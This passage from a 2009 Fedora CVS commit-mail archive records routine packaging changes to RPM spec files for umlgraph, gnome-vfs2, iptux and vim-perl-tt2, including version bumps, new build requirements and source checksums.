+371d13e7306eb82e3fe3748a7584c440  gnome-vfs-2.24.2.tar.bz2



From akurtakov at fedoraproject.org  Thu Oct  8 15:00:22 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Thu,  8 Oct 2009 15:00:22 +0000 (UTC)
Subject: rpms/umlgraph/F-12 umlgraph.spec, NONE, 1.1 doclet-5.1.pom, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091008150022.B48E111C029B@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/umlgraph/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12484/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	umlgraph.spec doclet-5.1.pom 
Log Message:
Initial import.


--- NEW FILE umlgraph.spec ---
Name:           umlgraph
Version:        5.2
Release:        2%{?dist}
Summary:        Automated Drawing of UML Diagrams

Group:          Development/Libraries
License:        BSD
URL:            http://umlgraph.org/
Source0:        http://umlgraph.org/UMLGraph-5.2.tar.gz
Source1:        http://repo2.maven.org/maven2/org/umlgraph/doclet/5.1/doclet-5.1.pom
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires(post):   jpackage-utils >= 0:1.7.4
Requires(postun): jpackage-utils >= 0:1.7.4

BuildRequires: ant
BuildRequires: graphviz
Requires: graphviz

BuildArch: noarch

%description
UMLGraph allows the declarative specification and drawing of UML class
and sequence diagrams. The specification is done in text diagrams, 
that are then transformed into the appropriate graphical representations. 

%package javadoc
Group:          Documentation
Summary:        Javadoc for %{name}

%description javadoc
API documentation for %{name}.

%prep
%setup -q -n UMLGraph-%{version}
sed -i -e 's|<attribute name=\"Class-Path\" value=\"tools.jar\"/>||g' build.xml
for f in $(find . -name "*.jar"); do
    mv $f $f.no
done

%build
%ant compile test javadocs

%install
rm -rf $RPM_BUILD_ROOT
# jars
install -d -m 755 $RPM_BUILD_ROOT%{_javadir}
install -m 644 lib/UmlGraph.jar \
    $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(cd $RPM_BUILD_ROOT%{_javadir} && for jar in *-%{version}*; do ln -sf ${jar} `echo $jar| sed  "s|-%{version}||g"`; done)

%add_to_maven_depmap org.umlgraph doclet %{version} JPP %{name}
install -d -m 755 $RPM_BUILD_ROOT%{_datadir}/maven2/poms
install -m 644 %{SOURCE1} $RPM_BUILD_ROOT/%{_datadir}/maven2/poms/JPP-%{name}.pom

# javadoc
install -d -m 755 $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
rm -fr javadoc/gr/spinellis/umlgraph/doclet/*.dot
rm -fr javadoc/org/umlgraph/doclet/*.dot
cp -pr javadoc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
ln -s %{name}-%{version} $RPM_BUILD_ROOT%{_javadocdir}/%{name}

%clean
rm -rf $RPM_BUILD_ROOT

%post
%update_maven_depmap

%postun
%update_maven_depmap

%files
%defattr(-,root,root)
%doc README.txt
%{_javadir}/*
%{_datadir}/maven2
%{_mavendepmapfragdir}

%files javadoc
%defattr(-,root,root)
%doc %{_javadocdir}/%{name}-%{version}
%doc %{_javadocdir}/%{name}

%changelog
* Wed Oct 7 2009 Alexander Kurtakov <akurtako at redhat.com> 5.2-2
- Add missing BR/R on graphviz.

* Thu Oct 1 2009 Alexander Kurtakov <akurtako at redhat.com> 5.2-1
- Initial package.


--- NEW FILE doclet-5.1.pom ---
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.umlgraph</groupId>
  <artifactId>doclet</artifactId>
  <packaging>jar</packaging>
  <version>5.1</version>
  <name>doclet</name>
  <url>http://www.umlgraph.org/</url>
  <distributionManagement>
    <downloadUrl>http://www.umlgraph.org/jars/UmlGraph-5.1.jar</downloadUrl>
  </distributionManagement>
  <licenses>
    <license>
      <name>The Apache Software License, Version 2.0</name>
      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>
      <distribution>manual</distribution>
    </license>
  </licenses>
</project>


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/umlgraph/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:52:19 -0000	1.1
+++ .cvsignore	8 Oct 2009 15:00:22 -0000	1.2
@@ -0,0 +1 @@
+UMLGraph-5.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/umlgraph/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:52:19 -0000	1.1
+++ sources	8 Oct 2009 15:00:22 -0000	1.2
@@ -0,0 +1 @@
+afdfe57b1c5dc57b698eceae63527358  UMLGraph-5.2.tar.gz



From akurtakov at fedoraproject.org  Thu Oct  8 15:07:56 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Thu,  8 Oct 2009 15:07:56 +0000 (UTC)
Subject: rpms/umlgraph/devel umlgraph.spec,1.1,1.2
Message-ID: <20091008150756.5DE0311C00DB@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/umlgraph/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14971/devel

Modified Files:
	umlgraph.spec 
Log Message:
BR openjdk.


Index: umlgraph.spec
===================================================================
RCS file: /cvs/pkgs/rpms/umlgraph/devel/umlgraph.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- umlgraph.spec	8 Oct 2009 14:51:53 -0000	1.1
+++ umlgraph.spec	8 Oct 2009 15:07:55 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           umlgraph
 Version:        5.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Automated Drawing of UML Diagrams
 
 Group:          Development/Libraries
@@ -15,6 +15,7 @@ Requires(postun): jpackage-utils >= 0:1.
 
 BuildRequires: ant
 BuildRequires: graphviz
+BuildRequires: java-1.6.0-openjdk-devel
 Requires: graphviz
 
 BuildArch: noarch
@@ -82,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_javadocdir}/%{name}
 
 %changelog
+* Thu Oct 8 2009 Alexander Kurtakov <akurtako at redhat.com> 5.2-3
+- BR openjdk.
+
 * Wed Oct 7 2009 Alexander Kurtakov <akurtako at redhat.com> 5.2-2
 - Add missing BR/R on graphviz.
 



From alexl at fedoraproject.org  Thu Oct  8 15:13:57 2009
From: alexl at fedoraproject.org (Alexander Larsson)
Date: Thu,  8 Oct 2009 15:13:57 +0000 (UTC)
Subject: rpms/gnome-vfs2/devel gnome-vfs2.spec, 1.197, 1.198 sources, 1.60,
	1.61
Message-ID: <20091008151357.5FBDD11C00DB@cvs1.fedora.phx.redhat.com>

Author: alexl

Update of /cvs/pkgs/rpms/gnome-vfs2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16512

Modified Files:
	gnome-vfs2.spec sources 
Log Message:
* Thu Oct  8 2009 Alexander Larsson <alexl at redhat.com> - 2.24.2-1
- update to 2.24.2 - fixes mimetypes



Index: gnome-vfs2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-vfs2/devel/gnome-vfs2.spec,v
retrieving revision 1.197
retrieving revision 1.198
diff -u -p -r1.197 -r1.198
--- gnome-vfs2.spec	21 Aug 2009 13:43:15 -0000	1.197
+++ gnome-vfs2.spec	8 Oct 2009 15:13:56 -0000	1.198
@@ -13,8 +13,8 @@
 
 Summary: The GNOME virtual file-system libraries
 Name: gnome-vfs2
-Version: 2.24.1
-Release: 9%{?dist}
+Version: 2.24.2
+Release: 1%{?dist}
 License: LGPLv2+ and GPLv2+
 # the daemon and the library are LGPLv2+
 # the modules are LGPLv2+ and GPLv2+ 
@@ -77,10 +77,6 @@ Patch300: gnome-vfs-2.20.0-ignore-certai
 
 
 # backported from upstream
-Patch400: gnome-vfs-2.24.xx-cdda-handle-invalid-data.patch
-Patch401: gnome-vfs-2.24.xx-netware-mounts-as-non-local.patch
-Patch402: gnome-vfs-2.24.xx-smb-64k-length.patch
-Patch403: gnome-vfs-2.24.xx-uninitialized-struct.patch
 
 # gnome-vfs-daemon exits on dbus, and constantly restarted causing dbus/hal to hog CPU
 # https://bugzilla.redhat.com/show_bug.cgi?id=486286
@@ -137,10 +133,6 @@ shares (SMB) to applications using GNOME
 
 %patch300 -p1 -b .ignore-certain-mount-points
 
-%patch400 -p1 -b .cdda-invalid-data
-%patch401 -p1 -b .netware
-%patch402 -p1 -b .smb-64k
-%patch403 -p1 -b .uninitialized-struct
 %patch404 -p1 -b .utf8-mounts
 
 # for patch 10 and 4
@@ -264,6 +256,9 @@ fi
 %config %{_sysconfdir}/gnome-vfs-2.0/modules/smb-module.conf
 
 %changelog
+* Thu Oct  8 2009 Alexander Larsson <alexl at redhat.com> - 2.24.2-1
+- update to 2.24.2 - fixes mimetypes
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.24.1-9
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-vfs2/devel/sources,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- sources	17 Mar 2009 15:31:27 -0000	1.60
+++ sources	8 Oct 2009 15:13:57 -0000	1.61
@@ -1 +1 @@
-100f9af16dc659e375ee8da45175a28d  gnome-vfs-2.24.1.tar.bz2
+371d13e7306eb82e3fe3748a7584c440  gnome-vfs-2.24.2.tar.bz2



From akurtakov at fedoraproject.org  Thu Oct  8 15:15:10 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Thu,  8 Oct 2009 15:15:10 +0000 (UTC)
Subject: rpms/umlgraph/F-12 umlgraph.spec,1.1,1.2
Message-ID: <20091008151510.1BB8111C00DB@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/umlgraph/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16766/F-12

Modified Files:
	umlgraph.spec 
Log Message:
BR openjdk.


Index: umlgraph.spec
===================================================================
RCS file: /cvs/pkgs/rpms/umlgraph/F-12/umlgraph.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- umlgraph.spec	8 Oct 2009 15:00:22 -0000	1.1
+++ umlgraph.spec	8 Oct 2009 15:15:09 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           umlgraph
 Version:        5.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Automated Drawing of UML Diagrams
 
 Group:          Development/Libraries
@@ -15,6 +15,7 @@ Requires(postun): jpackage-utils >= 0:1.
 
 BuildRequires: ant
 BuildRequires: graphviz
+BuildRequires: java-1.6.0-openjdk-devel
 Requires: graphviz
 
 BuildArch: noarch
@@ -82,6 +83,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_javadocdir}/%{name}
 
 %changelog
+* Thu Oct 8 2009 Alexander Kurtakov <akurtako at redhat.com> 5.2-3
+- BR openjdk.
+
 * Wed Oct 7 2009 Alexander Kurtakov <akurtako at redhat.com> 5.2-2
 - Add missing BR/R on graphviz.
 



From liangsuilong at fedoraproject.org  Thu Oct  8 15:28:42 2009
From: liangsuilong at fedoraproject.org (Liang Suilong)
Date: Thu,  8 Oct 2009 15:28:42 +0000 (UTC)
Subject: rpms/iptux/F-11 .cvsignore, 1.2, 1.3 iptux.spec, 1.1, 1.2 sources,
	1.2, 1.3
Message-ID: <20091008152842.4562F11C00DB@cvs1.fedora.phx.redhat.com>

Author: liangsuilong

Update of /cvs/pkgs/rpms/iptux/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20519

Modified Files:
	.cvsignore iptux.spec sources 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/iptux/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	7 May 2009 13:19:02 -0000	1.2
+++ .cvsignore	8 Oct 2009 15:28:41 -0000	1.3
@@ -1 +1,2 @@
 iptux-0.4.5-2.tar.gz
+iptux-0.5.0.tar.gz


Index: iptux.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iptux/F-11/iptux.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- iptux.spec	7 May 2009 13:19:02 -0000	1.1
+++ iptux.spec	8 Oct 2009 15:28:41 -0000	1.2
@@ -1,11 +1,11 @@
 Name:           iptux
-Version:        0.4.5
-Release:        2%{?dist}
+Version:        0.5.0
+Release:        1%{?dist}
 Summary:        A software for sharing in LAN
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://code.google.com/p/iptux/
-Source0:        http://iptux.googlecode.com/files/%{name}-%{version}-2.tar.gz 
+Source0:        http://iptux.googlecode.com/files/%{name}-%{version}.tar.gz 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  GConf2-devel, gtk2-devel, desktop-file-utils
 BuildRequires:  gettext, dbus-devel, gstreamer-devel
@@ -42,15 +42,21 @@ rm -rf $RPM_BUILD_ROOT
 
 %files -f %{name}.lang
 %defattr(-,root,root,-)
-%doc README TODO AUTHORS
+%doc ChangeLog style
 %{_bindir}/%{name}
 %{_bindir}/ihate%{name}
 %{_datadir}/applications/iptux.desktop
 %{_datadir}/%{name}/
-%{_datadir}/pixmaps/ip-tux.png
-%{_datadir}/pixmaps/i-tux.png 
+%{_datadir}/icons/hicolor/64x64/apps/i-tux.png
+%{_datadir}/icons/hicolor/64x64/apps/ip-tux.png
 
 %changelog
+* Thu Oct 8 2009 Liang Suilong <liangsuilong at gmail.com> 0.5.0-1
+- Upstream to 0.5.0
+
+* Tue Mar 3 2009 Liang Suilong <liangsuilong at gmail.com> 0.4.5-2
+- Fix the spec file
+
 * Tue Mar 3 2009 Liang Suilong <liangsuilong at gmail.com> 0.4.5-1
 - Upstream to 0.4.5
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/iptux/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	7 May 2009 13:19:02 -0000	1.2
+++ sources	8 Oct 2009 15:28:41 -0000	1.3
@@ -1 +1,2 @@
 7804f8a8486e8e9fa23eb661e34b3686  iptux-0.4.5-2.tar.gz
+d5c9cfa27c1d2e75ca3954028836b4fc  iptux-0.5.0.tar.gz



From cweyl at fedoraproject.org  Thu Oct  8 15:35:59 2009
From: cweyl at fedoraproject.org (Chris Weyl)
Date: Thu,  8 Oct 2009 15:35:59 +0000 (UTC)
Subject: rpms/vim-perl-tt2/devel import.log, NONE, 1.1 vim-perl-tt2.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091008153559.882C011C00DB@cvs1.fedora.phx.redhat.com>

Author: cweyl

Update of /cvs/extras/rpms/vim-perl-tt2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23115/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log vim-perl-tt2.spec 
Log Message:
initial import


--- NEW FILE import.log ---
vim-perl-tt2-0_1_3-2_fc11:HEAD:vim-perl-tt2-0.1.3-2.fc11.src.rpm:1255016155


--- NEW FILE vim-perl-tt2.spec ---
Name:           vim-perl-tt2
Version:        0.1.3 
Release:        2%{?dist}
Summary:        Syntax highlighting for the Template-Toolkit

Group:          Applications/Editors
License:        Vim 
URL:            http://www.vim.org/scripts/script.php?script_id=830
# source0 lives at http://www.vim.org/scripts/download_script.php?src_id=6881
Source0:        tt2.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

Requires:       vim-common

%global vimfiles  %{_datadir}/vim/vimfiles

%description
%{name} enables syntax highlighting for the Perl Template-Toolkit, v2.

* Contain Perl code in PERL/RAWPERL directive. (runtime sytax/perl.vim)
* No folding
* HTML syntax for including TT2 syntax. ( tt2html.vim / unfinished )
* Configurable START_TAG/END_TAG for your style.

%prep
%setup -q -c

cat >> tt2.vim.ft <<'EOF'
"au BufNewFile,BufRead *.tt2 setf tt2 
"  or
au BufNewFile,BufRead *.tt2
  \ if ( getline(1) . getline(2) . getline(3) =~ '<\chtml' 
  \           && getline(1) . getline(2) . getline(3) !~ '<[%?]') 
  \   || getline(1) =~ '<!DOCTYPE HTML' | 
  \   setf tt2html | 
  \ else | 
  \   setf tt2 | 
  \ endif

"ASP"
":let b:tt2_syn_tags = '<% %>'
"PHP"
":let b:tt2_syn_tags = '<? ?>' 
"TT2 and HTML" 
let b:tt2_syn_tags = '\[% %] <!-- -->' 
EOF

%build
# no-op

%install
rm -rf %{buildroot}

mkdir -p %{buildroot}%{vimfiles}/syntax
install -p -m 0644 *.vim %{buildroot}%{vimfiles}/syntax

mkdir -p %{buildroot}%{vimfiles}/ftdetect
cp tt2.vim.ft %{buildroot}%{vimfiles}/ftdetect/tt2.vim

%{_fixperms} %{buildroot}

%clean
rm -rf %{buildroot} 


%files
%defattr(-,root,root,-)
%{vimfiles}/ftdetect/*
%{vimfiles}/syntax/*

%changelog
* Mon Sep 28 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.1.3-2
- require vim-common, not vim-perl-support

* Fri Sep 25 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.1.3-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/vim-perl-tt2/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 06:00:30 -0000	1.1
+++ .cvsignore	8 Oct 2009 15:35:59 -0000	1.2
@@ -0,0 +1 @@
+tt2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/vim-perl-tt2/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 06:00:30 -0000	1.1
+++ sources	8 Oct 2009 15:35:59 -0000	1.2
@@ -0,0 +1 @@
+3e70d82171456550855a8b9612226c11  tt2.tar.gz



From cweyl at fedoraproject.org  Thu Oct  8 15:36:09 2009
From: cweyl at fedoraproject.org (Chris Weyl)
Date: Thu,  8 Oct 2009 15:36:09 +0000 (UTC)
Subject: rpms/vim-perl-tt2/F-12 import.log, NONE, 1.1 vim-perl-tt2.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091008153609.C70CA11C00DB@cvs1.fedora.phx.redhat.com>

Author: cweyl

Update of /cvs/extras/rpms/vim-perl-tt2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23266/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log vim-perl-tt2.spec 
Log Message:
initial import


--- NEW FILE import.log ---
vim-perl-tt2-0_1_3-2_fc11:F-12:vim-perl-tt2-0.1.3-2.fc11.src.rpm:1255016165


--- NEW FILE vim-perl-tt2.spec ---
Name:           vim-perl-tt2
Version:        0.1.3 
Release:        2%{?dist}
Summary:        Syntax highlighting for the Template-Toolkit

Group:          Applications/Editors
License:        Vim 
URL:            http://www.vim.org/scripts/script.php?script_id=830
# source0 lives at http://www.vim.org/scripts/download_script.php?src_id=6881
Source0:        tt2.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

Requires:       vim-common

%global vimfiles  %{_datadir}/vim/vimfiles

%description
%{name} enables syntax highlighting for the Perl Template-Toolkit, v2.

* Contain Perl code in PERL/RAWPERL directive. (runtime sytax/perl.vim)
* No folding
* HTML syntax for including TT2 syntax. ( tt2html.vim / unfinished )
* Configurable START_TAG/END_TAG for your style.

%prep
%setup -q -c

cat >> tt2.vim.ft <<'EOF'
"au BufNewFile,BufRead *.tt2 setf tt2 
"  or
au BufNewFile,BufRead *.tt2
  \ if ( getline(1) . getline(2) . getline(3) =~ '<\chtml' 
  \           && getline(1) . getline(2) . getline(3) !~ '<[%?]') 
  \   || getline(1) =~ '<!DOCTYPE HTML' | 
  \   setf tt2html | 
  \ else | 
  \   setf tt2 | 
  \ endif

"ASP"
":let b:tt2_syn_tags = '<% %>'
"PHP"
":let b:tt2_syn_tags = '<? ?>' 
"TT2 and HTML" 
let b:tt2_syn_tags = '\[% %] <!-- -->' 
EOF

%build
# no-op

%install
rm -rf %{buildroot}

mkdir -p %{buildroot}%{vimfiles}/syntax
install -p -m 0644 *.vim %{buildroot}%{vimfiles}/syntax

mkdir -p %{buildroot}%{vimfiles}/ftdetect
cp tt2.vim.ft %{buildroot}%{vimfiles}/ftdetect/tt2.vim

%{_fixperms} %{buildroot}

%clean
rm -rf %{buildroot} 


%files
%defattr(-,root,root,-)
%{vimfiles}/ftdetect/*
%{vimfiles}/syntax/*

%changelog
* Mon Sep 28 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.1.3-2
- require vim-common, not vim-perl-support

* Fri Sep 25 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.1.3-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/vim-perl-tt2/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 06:00:30 -0000	1.1
+++ .cvsignore	8 Oct 2009 15:36:09 -0000	1.2
@@ -0,0 +1 @@
+tt2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/vim-perl-tt2/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 06:00:30 -0000	1.1
+++ sources	8 Oct 2009 15:36:09 -0000	1.2
@@ -0,0 +1 @@
+3e70d82171456550855a8b9612226c11  tt2.tar.gz



From cweyl at fedoraproject.org  Thu Oct  8 15:36:21 2009
From: cweyl at fedoraproject.org (Chris Weyl)
Date: Thu,  8 Oct 2009 15:36:21 +0000 (UTC)
Subject: rpms/vim-perl-tt2/F-11 import.log, NONE, 1.1 vim-perl-tt2.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091008153621.6684C11C00DB@cvs1.fedora.phx.redhat.com>

Author: cweyl

Update of /cvs/extras/rpms/vim-perl-tt2/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23420/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log vim-perl-tt2.spec 
Log Message:
initial import


--- NEW FILE import.log ---
vim-perl-tt2-0_1_3-2_fc11:F-11:vim-perl-tt2-0.1.3-2.fc11.src.rpm:1255016176


--- NEW FILE vim-perl-tt2.spec ---
Name:           vim-perl-tt2
Version:        0.1.3 
Release:        2%{?dist}
Summary:        Syntax highlighting for the Template-Toolkit

Group:          Applications/Editors
License:        Vim 
URL:            http://www.vim.org/scripts/script.php?script_id=830
# source0 lives at http://www.vim.org/scripts/download_script.php?src_id=6881
Source0:        tt2.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

Requires:       vim-common

%global vimfiles  %{_datadir}/vim/vimfiles

%description
%{name} enables syntax highlighting for the Perl Template-Toolkit, v2.

* Contain Perl code in PERL/RAWPERL directive. (runtime sytax/perl.vim)
* No folding
* HTML syntax for including TT2 syntax. ( tt2html.vim / unfinished )
* Configurable START_TAG/END_TAG for your style.

%prep
%setup -q -c

cat >> tt2.vim.ft <<'EOF'
"au BufNewFile,BufRead *.tt2 setf tt2 
"  or
au BufNewFile,BufRead *.tt2
  \ if ( getline(1) . getline(2) . getline(3) =~ '<\chtml' 
  \           && getline(1) . getline(2) . getline(3) !~ '<[%?]') 
  \   || getline(1) =~ '<!DOCTYPE HTML' | 
  \   setf tt2html | 
  \ else | 
  \   setf tt2 | 
  \ endif

"ASP"
":let b:tt2_syn_tags = '<% %>'
"PHP"
":let b:tt2_syn_tags = '<? ?>' 
"TT2 and HTML" 
let b:tt2_syn_tags = '\[% %] <!-- -->' 
EOF

%build
# no-op

%install
rm -rf %{buildroot}

mkdir -p %{buildroot}%{vimfiles}/syntax
install -p -m 0644 *.vim %{buildroot}%{vimfiles}/syntax

mkdir -p %{buildroot}%{vimfiles}/ftdetect
cp tt2.vim.ft %{buildroot}%{vimfiles}/ftdetect/tt2.vim

%{_fixperms} %{buildroot}

%clean
rm -rf %{buildroot} 


%files
%defattr(-,root,root,-)
%{vimfiles}/ftdetect/*
%{vimfiles}/syntax/*

%changelog
* Mon Sep 28 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.1.3-2
- require vim-common, not vim-perl-support

* Fri Sep 25 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.1.3-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/vim-perl-tt2/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 06:00:30 -0000	1.1
+++ .cvsignore	8 Oct 2009 15:36:21 -0000	1.2
@@ -0,0 +1 @@
+tt2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/vim-perl-tt2/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 06:00:30 -0000	1.1
+++ sources	8 Oct 2009 15:36:21 -0000	1.2
@@ -0,0 +1 @@
+3e70d82171456550855a8b9612226c11  tt2.tar.gz



From cweyl at fedoraproject.org  Thu Oct  8 15:36:31 2009
From: cweyl at fedoraproject.org (Chris Weyl)
Date: Thu,  8 Oct 2009 15:36:31 +0000 (UTC)
Subject: rpms/vim-perl-tt2/F-10 import.log, NONE, 1.1 vim-perl-tt2.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091008153631.7F83A11C00DB@cvs1.fedora.phx.redhat.com>

Author: cweyl

Update of /cvs/extras/rpms/vim-perl-tt2/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23595/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log vim-perl-tt2.spec 
Log Message:
initial import


--- NEW FILE import.log ---
vim-perl-tt2-0_1_3-2_fc11:F-10:vim-perl-tt2-0.1.3-2.fc11.src.rpm:1255016187


--- NEW FILE vim-perl-tt2.spec ---
Name:           vim-perl-tt2
Version:        0.1.3 
Release:        2%{?dist}
Summary:        Syntax highlighting for the Template-Toolkit

Group:          Applications/Editors
License:        Vim 
URL:            http://www.vim.org/scripts/script.php?script_id=830
# source0 lives at http://www.vim.org/scripts/download_script.php?src_id=6881
Source0:        tt2.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

Requires:       vim-common

%global vimfiles  %{_datadir}/vim/vimfiles

%description
%{name} enables syntax highlighting for the Perl Template-Toolkit, v2.

* Contain Perl code in PERL/RAWPERL directive. (runtime sytax/perl.vim)
* No folding
* HTML syntax for including TT2 syntax. ( tt2html.vim / unfinished )
* Configurable START_TAG/END_TAG for your style.

%prep
%setup -q -c

cat >> tt2.vim.ft <<'EOF'
"au BufNewFile,BufRead *.tt2 setf tt2 
"  or
au BufNewFile,BufRead *.tt2
  \ if ( getline(1) . getline(2) . getline(3) =~ '<\chtml' 
  \           && getline(1) . getline(2) . getline(3) !~ '<[%?]') 
  \   || getline(1) =~ '<!DOCTYPE HTML' | 
  \   setf tt2html | 
  \ else | 
  \   setf tt2 | 
  \ endif

"ASP"
":let b:tt2_syn_tags = '<% %>'
"PHP"
":let b:tt2_syn_tags = '<? ?>' 
"TT2 and HTML" 
let b:tt2_syn_tags = '\[% %] <!-- -->' 
EOF

%build
# no-op

%install
rm -rf %{buildroot}

mkdir -p %{buildroot}%{vimfiles}/syntax
install -p -m 0644 *.vim %{buildroot}%{vimfiles}/syntax

mkdir -p %{buildroot}%{vimfiles}/ftdetect
cp tt2.vim.ft %{buildroot}%{vimfiles}/ftdetect/tt2.vim

%{_fixperms} %{buildroot}

%clean
rm -rf %{buildroot} 


%files
%defattr(-,root,root,-)
%{vimfiles}/ftdetect/*
%{vimfiles}/syntax/*

%changelog
* Mon Sep 28 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.1.3-2
- require vim-common, not vim-perl-support

* Fri Sep 25 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.1.3-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/vim-perl-tt2/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 06:00:30 -0000	1.1
+++ .cvsignore	8 Oct 2009 15:36:31 -0000	1.2
@@ -0,0 +1 @@
+tt2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/vim-perl-tt2/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 06:00:30 -0000	1.1
+++ sources	8 Oct 2009 15:36:31 -0000	1.2
@@ -0,0 +1 @@
+3e70d82171456550855a8b9612226c11  tt2.tar.gz



From liangsuilong at fedoraproject.org  Thu Oct  8 15:45:25 2009
From: liangsuilong at fedoraproject.org (Liang Suilong)
Date: Thu,  8 Oct 2009 15:45:25 +0000 (UTC)
